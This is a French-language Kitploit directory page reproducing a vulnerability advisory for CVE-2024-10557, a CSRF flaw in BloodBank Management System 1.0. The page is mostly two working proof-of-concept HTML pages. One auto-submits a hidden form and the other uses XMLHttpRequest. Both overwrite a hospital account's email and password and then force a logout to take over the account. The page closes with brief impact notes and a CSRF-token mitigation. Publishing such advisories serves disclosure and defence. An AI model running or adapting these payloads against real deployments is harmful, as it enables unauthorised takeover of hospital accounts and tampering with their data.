Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-10557 — Un POC CSRF pour la mise à jour du profil d'un hôpital menant à une prise de contrôle de compte. | Kitploit
Outils/GitHubGitHub/bevennyamande/cve-2024-10557
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubbevennyamande/cve-2024-10557

CVE-2024-10557

Un POC CSRF pour la mise à jour du profil d'un hôpital menant à une prise de contrôle de compte.

Voir le dépôt
1il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Version affectée :

  • BloodBank Management System : 1.0

Informations sur la vulnérabilité :

  • Type de vulnérabilité : Cross Site Request Forgery (CSRF)
  • Sévérité : Élevée
  • Statut : Non corrigé

Point de terminaison vulnérable :

  • Chemin : /file/updateprofile.php

Description de la vulnérabilité :

Il existe une vulnérabilité CSRF sur ce point de terminaison /file/updateprofile.php qui permet à un utilisateur distant de modifier les données d'un compte d'hôpital et peut conduire à une prise de contrôle du compte. En effet, l'attaquant peut mettre à jour toutes les informations, de l'adresse e-mail au mot de passe, augmentant ainsi considérablement les risques de prise de contrôle du compte.

Une exploitation réussie peut entraîner des actions non autorisées, c'est-à-dire la suppression de données, au nom de la victime. De plus, cela peut être exploité en visitant des sites Web malveillants contenant le payload.


Preuve de concept (PoC) :

Voici un exemple d'attaque CSRF PoC qui met à jour les informations de profil d'un compte d'hôpital connecté. Hébergez le fichier sur un domaine contrôlé par l'attaquant ; dans mon cas, j'utilisais localhost :

root@kitploit:~

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CSRF PoC with Logout Redirect</title>
</head>
<body>
    <h2>CSRF Proof of Concept with Chained Logout</h2>

    <!-- Form to exploit CSRF vulnerability for updating profile -->
    <form id="csrfForm" action="http://localhost.local/bloodbank/file/updateprofile.php" method="POST">
        <input type="hidden" name="hname" value="parirenyatwa">
        <input type="hidden" name="hemail" value="[email protected]">
        <input type="hidden" name="hpassword" value="pari1234">
        <input type="hidden" name="hphone" value="0777054000">
        <input type="hidden" name="hcity" value="harare">
        <input type="hidden" name="update" value="Update">
    </form>

    <script>
        // Submit the CSRF form to update profile
        document.getElementById("csrfForm").submit();
   </script>
</body>
</html>



Preuve de concept (POC) pour la prise de contrôle du compte

  • L'attaquant peut efficacement modifier les détails du profil en manipulant l'adresse e-mail et le mot de passe, et forcer un logout CSRF, réalisant ainsi une prise de contrôle du compte.
root@kitploit:~

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CSRF PoC with XMLHttpRequest</title>
</head>
<body>
    <h2>CSRF Proof of Concept with XMLHttpRequest and Redirect</h2>

    <script>
        // Define the target URLs for the CSRF attack
        const updateUrl = "http://localhost.local/bloodbank/file/updateprofile.php";
        const logoutUrl = "http://localhost.local/bloodbank/logout.php";

        // Data for the profile update CSRF request
        const updateData = "hname=parirenyatwa&hemail=pari%40hospital.co.zw&hpassword=pari1234&hphone=0777054000&hcity=harare&update=Update";

        // Function to send the XMLHttpRequest
        function sendCSRFUpdate() {
            const xhr = new XMLHttpRequest();
            xhr.open("POST", updateUrl, true);
            xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

            // When the request is complete, redirect to the logout page
            xhr.onload = function() {
                if (xhr.status === 200) {
                    console.log("Profile update CSRF request completed");
                    // Redirect to logout URL to log the victim out
                    window.location.href = logoutUrl;
                } else {
                    console.error("Profile update failed with status:", xhr.status);
                }
            };

            // Send the request with the update data
            xhr.send(updateData);
        }

        // Trigger the CSRF attack by sending the update request
        sendCSRFUpdate();
    </script>
</body>
</html>




Impact :

  • Manipulation des données : Les attaquants pourraient modifier le contenu affiché aux utilisateurs.
  • Atteinte à la réputation : Les utilisateurs pourraient perdre confiance dans le système en raison d'un comportement malveillant.

Recommandations d'atténuation :

  1. Utilisez un jeton CSRF Implémentez un mécanisme pour dissuader l'accès inter-domaines ou placez des jetons CSRF dans vos requêtes, et évitez également que les requêtes GET n'effectuent des actions modifiant l'état.
Télécharger l’outil